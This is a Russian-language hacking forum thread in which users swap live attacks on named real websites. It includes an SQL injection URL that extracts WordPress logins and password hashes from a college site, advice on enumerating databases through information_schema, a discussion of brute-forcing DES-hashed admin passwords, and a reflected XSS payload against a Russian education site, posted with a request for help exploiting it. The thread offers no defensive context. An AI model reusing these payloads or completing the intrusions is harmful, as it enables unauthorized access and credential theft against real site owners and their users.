прочитал таблицы в information_schema и попробовал достать пароль:
http://www.mcli.dist.maricopa.edu/cares/resources.php?cat=-2'+union+select+1,2,convert(concat_ws(0x3a,user_lo gin,%20%20user_pass)+using+latin1),4,5,6,7,8+from+ wp_users/*

но выдает почемуто: Oops Table 'mcli_resources.wp_users' doesn't exist
как такое может быть?

blog_its.wp_users
табла в другой бд
select table_schema from information_schema.tables
ПОЧИТАЙ ПОДПИСЬ jokester ,КРАСНЫМ ВЫДЕЛЕН0

Админка TIGERADMIN v.9. ХЗ что за админка и как пароли зашифрованы.
Кто что думает ?

DES

У всех приставка ta в начале почему то, её просто отбрасывать перед брутом..... Вообще можно сбрутить?

можно.

нашел активную xss на mioo. Но докрутить до конца никак не получается.....может быть кто нить объяснит, буду оочень благодарен:
http://www.mioo.ru/podrazdinfpage.php?id=10&prjid=640&ctree=cccccccc& onewnd=%22%3E%3Cscript%3Ealert%28%27PTsecurity+Sca nner+Test%27%29%3C%2Fscript%3E%3C%22&list=tasks&ta skid=8&pv=no

та значения непосредственно в тег <script> вставляеться(и это пассивка а не активка):

PaCo, а можно поподробнее...)